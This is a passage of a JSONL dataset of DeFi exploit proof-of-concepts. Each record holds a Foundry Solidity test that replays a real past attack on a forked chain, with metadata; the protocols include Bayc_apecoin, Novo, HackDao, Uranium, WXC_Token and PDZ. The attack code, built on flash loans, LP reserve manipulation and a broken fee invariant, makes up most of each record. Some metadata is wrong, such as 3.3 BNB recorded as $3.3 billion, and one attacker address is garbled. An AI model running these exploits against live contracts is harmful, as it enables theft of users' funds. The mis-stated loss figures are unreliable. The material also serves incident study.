IERC20(USDT).balanceOf(attacker), 18);\n\n // You shold see attacker profit about 300K USDT\n // The USDT were moved after swapping across the cBridge(Celer Network), and swapped them into ETH and DAI.\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1", "content_richness_score": 7, "quality_estimate": "medium", "title": "FortressLoans Exploit (2022-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\nExploited tx: https://etherscan.io/tx/0xeb8c3bebed11e2e4fcd30cbfc2fb3c55c4ca166003c7f7d319e78eaab9747098\nDebug:\nhttps://dashboard.tenderly.co/tx/mainnet/0xeb8c3bebed11e2e4fcd30cbfc2fb3c55c4ca166003c7f7d319e78eaab9747098\nhttps://tools.blocksec.com/tx/eth/0xeb8c3bebed11e2e4fcd30cbfc2fb3c55c4ca166003c7f7d319e78eaab9747098*/\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IBAYCi bayc = IBAYCi(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);\n INFTXVault NFTXVault = INFTXVault(0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5);\n IAirdrop AirdropGrapesToken = IAirdrop(0x025C6da5BD0e6A5dd1350fda9e3B6a614B205a1F);\n IERC20 ape = IERC20(0x4d224452801ACEd8B2F0aebE155379bb5D594381);\n bytes32 private constant CALLBACK_SUCCESS = keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_403_948); // fork mainnet at block 14403948\n }\n\n function test() public {\n cheats.startPrank(0x6703741e913a30D6604481472b6d81F3da45e6E8);\n bayc.transferFrom(0x6703741e913a30D6604481472b6d81F3da45e6E8, address(this), 1060);\n emit log_named_decimal_uint(\"Before exploiting, Attacker balance of APE is\", ape.balanceOf(address(this)), 18);\n NFTXVault.approve(address(NFTXVault), type(uint256).max);\n NFTXVault.flashLoan(address(this), address(NFTXVault), 5_200_000_000_000_000_000, \"\"); // flash loan 5.2 BAYC tokens from the NFTX Vault\n emit log_named_decimal_uint(\"After exploiting, Attacker balance of APE is\", ape.balanceOf(address(this)), 18);\n }\n\n function onFlashLoan(address, address, uint256, uint256, bytes memory) external returns (bytes32) {\n uint256[] memory blank = new uint256[](0);\n // The attacker used the borrowed BAYC tokens to redeem the following BAYC NFTs\n NFTXVault.redeem(5, blank);\n\n //Owning so many BAYC NFTs allowed the attacker to claim APE tokens for each, resulting in a total amount of 60,564 APE.\n AirdropGrapesToken.claimTokens();\n\n bayc.setApprovalForAll(address(NFTXVault), true);\n\n uint256[] memory nfts = new uint256[](6);\n nfts[0] = 7594;\n nfts[1] = 4755;\n nfts[2] = 9915;\n nfts[3] = 8214;\n nfts[4] = 8167;\n nfts[5] = 1060;\n\n NFTXVault.mint(nfts, blank);\n\n NFTXVault.approve(address(NFTXVault), type(uint256).max);\n\n return CALLBACK_SUCCESS;\n }\n\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes calldata _data\n ) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "Bayc_apecoin", "date": "2022-05", "file_name": "Bayc_apecoin_exp.sol", "attack_vector": "flash_loan", "content_hash": "23c2dff00e248a8f", "collected_at": "2026-01-07T10:59:16.518538", "_source": "postmortems", "chain": "ethereum", "block_number": 14403948, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function test() public {\n cheats.startPrank(0x6703741e913a30D6604481472b6d81F3da45e6E8);\n bayc.transferFrom(0x6703741e913a30D6604481472b6d81F3da45e6E8, address(this), 1060);\n emit log_named_decimal_uint(\"Before exploiting, Attacker balance of APE is\", ape.balanceOf(address(this)), 18);\n NFTXVault.approve(address(NFTXVault), type(uint256).max);\n NFTXVault.flashLoan(address(this), address(NFTXVault), 5_200_000_000_000_000_000, \"\"); // flash loan 5.2 BAYC tokens from the NFTX Vault\n emit log_named_decimal_uint(\"After exploiting, Attacker balance of APE is\", ape.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.41, "quality_estimate": "low", "title": "Bayc_apecoin Exploit (2022-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Exploit Alert ref: https://www.panewslab.com/zh_hk/articledetails/f40t9xb4.html\n// Origin Attack Transaction: 0xc346adf14e5082e6df5aeae650f3d7f606d7e08247c2b856510766b4dfcdc57f\n// Blocksec Txinfo: https://versatile.blocksecteam.com/tx/bsc/0xc346adf14e5082e6df5aeae650f3d7f606d7e08247c2b856510766b4dfcdc57f\n\n// Attack Addr: 0x31a7cc04987520cefacd46f734943a105b29186e\n// Attack Contract: 0x3463a663de4ccc59c8b21190f81027096f18cf2a\n\n// Vulnerable Contract: https://bscscan.com/address/0xa0787daad6062349f63b7c228cbfd5d8a3db08f1#code\n\ninterface INOVOLP {\n function sync() external;\n}\n\ncontract ContractTest is Test {\n IPancakePair PancakePair = IPancakePair(0xEeBc161437FA948AAb99383142564160c92D2974);\n IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n INOVO novo = INOVO(0x6Fb2020C236BBD5a7DDEb07E14c9298642253333);\n INOVOLP novoLP = INOVOLP(0x128cd0Ae1a0aE7e67419111714155E1B1c6B2D8D);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 18_225_002); //fork bsc at block number 18225002\n }\n\n function testExploit() public {\n wbnb.deposit{value: 10 * 1e18}();\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", wbnb.balanceOf(address(this)), 18);\n\n // Brrow 17.2 WBNB\n bytes memory data = abi.encode(0xEeBc161437FA948AAb99383142564160c92D2974, 172 * 1e17);\n PancakePair.swap(0, 172 * 1e17, address(this), data);\n\n emit log_named_decimal_uint(\"[End] After repay, WBNB balance of attacker\", wbnb.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n // \u653b\u64ca\u8005\u5148\u8cb7\u5165 NOVO Token\n // \u900f\u904e NOVO Token \u7684 transferFrom \u672a\u904e\u6ffe `from`\n // `from` \u6307\u5b9a\u70ba NOVO/WBNB \u7684 LP pool, \u5373\u53ef\u64cd\u7e31 PancakeSwap NOVO/WBNB \u7684\u50f9\u683c\n // \u653b\u64ca\u8005\u518d\u8ce3\u51fa flashswap \u501f\u4f86\u7684 NOVO Token \u5373\u53ef\u7372\u5229\n\n address[] memory path = new address[](2);\n\n emit log_named_decimal_uint(\"[*] Attacker flashswap Borrow WBNB\", amount1, 18);\n\n // Use borrow WBNB to swap some NOVO token\n emit log_string(\"[*] Attacker going swap some NOVO...\");\n wbnb.approve(address(PancakeRouter), type(uint256).max);\n path[0] = address(wbnb);\n path[1] = address(novo);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 172 * 1e17, 1, path, address(this), block.timestamp\n ); // get 4,749,070,146,640,911 NOVO Token\n require(novo.balanceOf(address(this)) != 0, \"Swap Failed\");\n\n // Sync NOVO token balance before exploit\n emit log_named_decimal_uint(\"\\t[INFO] Attacker NOVO balance\", novo.balanceOf(address(this)), 9);\n emit log_named_decimal_uint(\"\\t[INFO] PancakeSwap NOVO/WBNB LP balance\", novo.balanceOf(address(novoLP)), 9);\n\n // Manipulate the LP of NOVO/WBNB => Manipulate the NOVO/WBNB price\n emit log_string(\"[E] Attacker going manipulate NOVO/WBNB LP...\");\n novo.transferFrom(address(novoLP), address(novo), 113_951_614_762_384_370); // 113,951,614.76238437 NOVO Token\n emit log_named_decimal_uint(\"\\t[INFO] PancakeSwap NOVO/WBNB LP balance\", novo.balanceOf(address(novoLP)), 9);\n\n // Sync NOVO/WBNB price\n novoLP.sync();\n\n // Swap NOVO to WBNB, make attacker profit\n emit log_string(\"[*] Attacker going swap some WBNB...\");\n novo.approve(address(PancakePair), novo.balanceOf(address(this)));\n path[0] = address(novo);\n path[1] = address(wbnb);\n PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n novo.balanceOf(address(this)), 1, path, address(this), block.timestamp\n );\n require(wbnb.balanceOf(address(this)) > 172 * 1e17, \"Exploit Failed\");\n\n // Payback the flashswap, will be `BorrowAmount` + 0.25% fee\n require(wbnb.transfer(address(PancakePair), amount1 + 4472 * 10e13), \"Payback Failed\");\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Novo", "date": "2022-05", "file_name": "Novo_exp.sol", "attack_vector": null, "content_hash": "06901226b120dfe6", "collected_at": "2026-01-07T10:59:16.518610", "_source": "postmortems", "chain": "bsc", "block_number": 18225002, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0xa0787daad6062349f63b7c228cbfd5d8a3db08f1#code", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n wbnb.deposit{value: 10 * 1e18}();\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", wbnb.balanceOf(address(this)), 18);\n\n // Brrow 17.2 WBNB\n bytes memory data = abi.encode(0xEeBc161437FA948AAb99383142564160c92D2974, 172 * 1e17);\n PancakePair.swap(0, 172 * 1e17, address(this), data);\n\n emit log_named_decimal_uint(\"[End] After repay, WBNB balance of attacker\", wbnb.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xa0787daad6062349f63b7c228cbfd5d8a3db08f1#code", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6.13, "quality_estimate": "medium", "title": "Novo Exploit (2022-05)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1529084919976034304\n// @Contract address\n// https://bscscan.com/address/0x94e06c77b02ade8341489ab9a23451f68c13ec1c#code\n\ncontract ContractTest is Test {\n IERC20 HackDao = IERC20(0x94e06c77b02Ade8341489Ab9A23451F68c13eC1C);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2); // HackDao WBNB\n Uni_Pair_V2 Pair2 = Uni_Pair_V2(0xbdB426A2FC2584c2D43dba5A7aB11763DFAe0225); //HackDao USDT\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 18_073_756);\n }\n\n function testExploit() public {\n WBNB.approve(address(Router), type(uint256).max);\n HackDao.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(1900 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {\n // get HackDao\n buyHackDao();\n // call skim() to burn HackDao in lp\n HackDao.transfer(address(Pair1), HackDao.balanceOf(address(this)));\n Pair1.skim(address(Pair2));\n Pair1.sync();\n Pair2.skim(address(Pair1));\n // sell HackDao\n (uint256 reserve0, uint256 reserve1,) = Pair1.getReserves(); // HackDao WBNB\n uint256 amountAfter = HackDao.balanceOf(address(Pair1));\n uint256 amountin = amountAfter - reserve0;\n uint256 amountout = amountin * 9975 * reserve1 / (reserve0 * 10_000 + amountin * 9975);\n Pair1.swap(0, amountout, address(this), \"\");\n WBNB.transfer(dodo, 1900 * 1e18);\n }\n\n function buyHackDao() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(HackDao);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "HackDao", "date": "2022-05", "file_name": "HackDao_exp.sol", "attack_vector": "flash_loan", "content_hash": "f92fbf10278d16dc", "collected_at": "2026-01-07T10:59:16.518664", "_source": "postmortems", "chain": "bsc", "block_number": 18073756, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n WBNB.approve(address(Router), type(uint256).max);\n HackDao.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(1900 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.24, "quality_estimate": "low", "title": "HackDao Exploit (2022-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : $50 M\n// Attacker : 0xd9936EA91a461aA4B727a7e0xc47bdd0a852a88a019385ea3ff57cf8de79f019d3661bcD6cD257481c\n// AttackContract : 0x2b528a28451e9853f51616f3b0f6d82af8bea6ae\n// Txhash : https://bscscan.com/tx/0x5a504fe72ef7fc76dfeb4d979e533af4e23fe37e90b5516186d5787893c37991\n\n// REF: https://twitter.com/FrankResearcher/status/1387347025742557186\n// Credit: https://medium.com/immunefi/building-a-poc-for-the-uranium-heist-ec83fbd83e9f\n\n/*\nVuln code: \n uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(16));\n uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(16));\n require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), \u2018UraniumSwap: K\u2019);\n\nCritically, we see in Uranium\u2019s implementation that the magic value for fee calculation is 10000 instead of the original 1000. \nThe check does not apply the new magic value and instead uses the original 1000. \nThis means that the K after a swap is guaranteed to be 100 times larger than the K before the swap when no token balance changes have occurred.*/\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\naddress constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\naddress constant uraniumFactory = 0xA943eA143cd7E79806d670f4a7cf08F8922a454F;\n\ninterface IWrappedNative {\n function deposit() external payable;\n}\n\ncontract Exploit is Test {\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 6_920_000);\n }\n\n function testExploit() public {\n wrap();\n takeFunds(wbnb, busd, 1 ether);\n takeFunds(busd, wbnb, 1 ether);\n console.log(\"BUSD STOLEN : \", IERC20(busd).balanceOf(address(this)));\n console.log(\"WBNB STOLEN : \", IERC20(wbnb).balanceOf(address(this)));\n }\n\n function wrap() internal {\n IWrappedNative(wbnb).deposit{value: 1 ether}();\n console.log(\"WBNB start : \", IERC20(wbnb).balanceOf(address(this)));\n }\n\n function takeFunds(address token0, address token1, uint256 amount) internal {\n IUniswapV2Factory factory = IUniswapV2Factory(uraniumFactory);\n IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(token1), address(token0)));\n\n IERC20(token0).transfer(address(pair), amount);\n uint256 amountOut = (IERC20(token1).balanceOf(address(pair)) * 99) / 100;\n\n pair.swap(\n pair.token0() == address(token1) ? amountOut : 0,\n pair.token0() == address(token1) ? 0 : amountOut,\n address(this),\n new bytes(0)\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Uranium", "date": "2021-04", "file_name": "Uranium_exp.sol", "attack_vector": null, "content_hash": "d3c7d96485eafc8a", "collected_at": "2026-01-07T10:59:16.518721", "_source": "postmortems", "chain": "bsc", "block_number": 6920000, "total_lost_raw": "$50 M", "total_lost_usd": 50000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "$50 M", "category": "unknown", "exploit_code": "function testExploit() public {\n wrap();\n takeFunds(wbnb, busd, 1 ether);\n takeFunds(busd, wbnb, 1 ether);\n console.log(\"BUSD STOLEN : \", IERC20(busd).balanceOf(address(this)));\n console.log(\"WBNB STOLEN : \", IERC20(wbnb).balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "$50 M", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$50.00M", "content_richness_score": 5.38, "quality_estimate": "medium", "title": "Uranium Exploit (2021-04)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n// @KeyInfo - Total Lost : 37.5 WBNB\n// Attacker : 0x476954c752a6ee04b68382c97f7560040eda7309\n// Attack Contract : 0x798465b25b68206370d99f541e11eea43288d297\n// Vulnerable Contract : 0x8087720eeea59f9f04787065447d52150c09643e\n// Attack Tx : https://bscscan.com/tx/0x1397bc7f0d284f8e2e30d0a9edd0db1f3eb0dd284c75e30d226b02bf09ad068f\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x8087720eeea59f9f04787065447d52150c09643e#code\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1954774967481962832\n// Twitter Guy : https://x.com/TenArmorAlert/status/1954774967481962832\n// Hacking God : N/A\n\ncontract WXC is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 57177438 - 1;\n uint256 flashAmount = 49150000000000000000;\n //contracts\n IPancakePair Cake_LP = IPancakePair(0xdA5C7eA4458Ee9c5484fA00F2B8c933393BAC965);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 WXC = IERC20(0x8087720EeeA59F9F04787065447D52150c09643E);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n I0x8f73_ERC1967Proxy ercproxy = I0x8f73_ERC1967Proxy(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(WBNB);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n WXC.approve(address(Router), type(uint256).max);\n \n WBNB.allowance(address(this), address(ercproxy));\n WBNB.approve(address(ercproxy), type(uint256).max);\n \n ercproxy.flashLoan(address(WBNB), flashAmount, \"0x00\");\n }\n\n function onMoolahFlashLoan(uint256 assets, bytes memory data) public {\n WBNB.approve(address(ercproxy), flashAmount);\n \n uint256 amt0 = 74963130190599057252979324;\n uint256 amt1 = 1;\n\n Cake_LP.swap(amt0, amt1, address(this), hex\"000000000014bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0300000006000000000000cf3800000044a9059cbb000000000000000000000000da5c7ea4458ee9c5484fa00f2b8c933393bac965000000000000000000000000000000000000000000000002aa17e09796730000000000000000000000000000006f0ae91d\");\n \n uint256 appAmt = 115792089237316195423570985008687907853269984665640564039457584007913129639935;\n WXC.approve(address(Router), appAmt);\n\n \n uint256 amtIn = 74963130190599057252979324;\n address[] memory path = new address[](2);\n path[0] = address(WXC);\n path[1] = address(WBNB);\n uint256 deadline = 1754881178;\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amtIn, 0, path, address(this), deadline);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n WBNB.transfer(address(Cake_LP), flashAmount);\n }\n\n}\n\ninterface I0x8f73_ERC1967Proxy {\n function flashLoan(address token, uint256 assets, bytes memory data) external;\n}\n", "type": "exploit_poc", "protocol": "WXC_Token", "date": "2025-08", "file_name": "WXC_Token_exp.sol", "attack_vector": "flash_loan", "content_hash": "98d42e0e05f702f3", "collected_at": "2026-01-07T10:59:16.518769", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "37.5 WBNB", "total_lost_usd": 37.5, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x1397bc7f0d284f8e2e30d0a9edd0db1f3eb0dd284c75e30d226b02bf09ad068f", "postmortem_url": "https://x.com/TenArmorAlert/status/1954774967481962832", "twitter_url": "https://x.com/TenArmorAlert/status/1954774967481962832", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "37.5 WBNB", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n WXC.approve(address(Router), type(uint256).max);\n \n WBNB.allowance(address(this), address(ercproxy));\n WBNB.approve(address(ercproxy), type(uint256).max);\n \n ercproxy.flashLoan(address(WBNB), flashAmount, \"0x00\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "37.5 WBNB", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x1397bc7f0d284f8e2e30d0a9edd0db1f3eb0dd284c75e30d226b02bf09ad068f", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1954774967481962832", "analysis_twitter": "https://x.com/TenArmorAlert/status/1954774967481962832", "funds_lost_formatted": "$38", "content_richness_score": 7.62, "quality_estimate": "medium", "title": "WXC_Token Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 3.3 BNB\n// Attacker : https://bscscan.com/address/0x48234fb95d4d3e5a09f3ec4dd57f68281b78c825\n// Attack Contract : https://bscscan.com/address/0x1dffe35fb021f124f04d1a654236e0879fa0cb81\n// Vulnerable Contract : https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda\n// Attack Tx : https://bscscan.com/tx/0x81fd00eab3434eac93bfdf919400ae5ca280acd891f95f47691bbe3cbf6f05a5\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/tikkalaresearch/status/1957500585965678828\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant PANCAKE_PAIR = 0x231d9e7181E8479A8B40930961e93E7ed798542C;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant PDZ_TOKEN = 0x50F2B2a555e5Fa9E1bb221433DbA2331E8664A69;\naddress constant TB_BUILD = 0x664201579057f50D23820d20558f4b61bd80BDda;\n\n\ncontract PDZ is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 57744491 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n // Step 1: borrow 10 WBNB\n IPancakePair(PANCAKE_PAIR).swap(10 ether, 0, address(this), hex\"00\");\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) public {\n IERC20 wbnb = IERC20(WBNB_ADDR);\n IERC20 pdz = IERC20(PDZ_TOKEN);\n IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));\n\n wbnb.approve(address(router), type(uint256).max);\n address[] memory WBNB_2_PDZ = new address[](2);\n WBNB_2_PDZ[0] = WBNB_ADDR;\n WBNB_2_PDZ[1] = PDZ_TOKEN;\n\n // Step 2: 10 WBNB -> PDZ\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 ether, 0, WBNB_2_PDZ, address(this), block.timestamp);\n\n address[] memory PDZ_2_WBNB = new address[](2);\n PDZ_2_WBNB[0] = PDZ_TOKEN;\n PDZ_2_WBNB[1] = WBNB_ADDR;\n\n uint256 amount = 5467668273;\n ITbBuild tbBuild = ITbBuild(TB_BUILD);\n // Step 3: burn PDZ burn for BNB reward\n // The `burnToHolder` function calculates rewards using uniswapRouter.getAmountsOut,\n // which makes deserved instantly manipulable by pool price manipulation.\n tbBuild.burnToHolder(amount, address(0));\n tbBuild.receiveRewards(address(this));\n\n uint256 pdzBal = pdz.balanceOf(address(this));\n pdz.approve(PANCAKE_ROUTER, type(uint256).max);\n // Step 4: PDZ -> WBNB\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(pdzBal, 0, PDZ_2_WBNB, address(this), block.timestamp);\n\n // Step 5: pay flash loan fee\n uint256 paybackAmount = 10.25 ether + 1;\n WBNB(WBNB_ADDR).deposit{value: paybackAmount}();\n wbnb.transfer(PANCAKE_PAIR, paybackAmount);\n }\n\n receive() external payable {}\n}\n\ninterface ITbBuild {\n function burnToHolder(uint256 amount, address _invitation) external;\n function receiveRewards(address to) external;\n}", "type": "exploit_poc", "protocol": "PDZ", "date": "2025-08", "file_name": "PDZ_exp.sol", "attack_vector": null, "content_hash": "dace6ad82f792cfb", "collected_at": "2026-01-07T10:59:16.518820", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "3.3 BNB", "total_lost_usd": 3300000000.0, "attacker_address": "https://bscscan.com/address/0x48234fb95d4d3e5a09f3ec4dd57f68281b78c825", "attack_contract": "https://bscscan.com/address/0x1dffe35fb021f124f04d1a654236e0879fa0cb81", "vulnerable_contract": "https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda", "attack_tx": "https://bscscan.com/tx/0x81fd00eab3434eac93bfdf919400ae5ca280acd891f95f47691bbe3cbf6f05a5", "postmortem_url": null, "twitter_url": "https://x.com/tikkalaresearch/status/1957500585965678828", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "3.3 BNB", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // Step 1: borrow 10 WBNB\n IPancakePair(PANCAKE_PAIR).swap(10 ether, 0, address(this), hex\"00\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "3.3 BNB", "keyinfo_attacker": "https://bscscan.com/address/0x48234fb95d4d3e5a09f3ec4dd57f68281b78c825", "keyinfo_attack_contract": "https://bscscan.com/address/0x1dffe35fb021f124f04d1a654236e0879fa0cb81", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda", "keyinfo_attack_tx": "https://bscscan.com/tx/0x81fd00eab3434eac93bfdf919400ae5ca280acd891f95f47691bbe3cbf6f05a5", "analysis_postmortem": "", "analysis_twitter": "https://x.com/tikkalaresearch/status/1957500585965678828", "funds_lost_formatted": "$3300.00M", "content_richness_score": 7.74, "quality_estimate": "medium", "title": "PDZ Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport 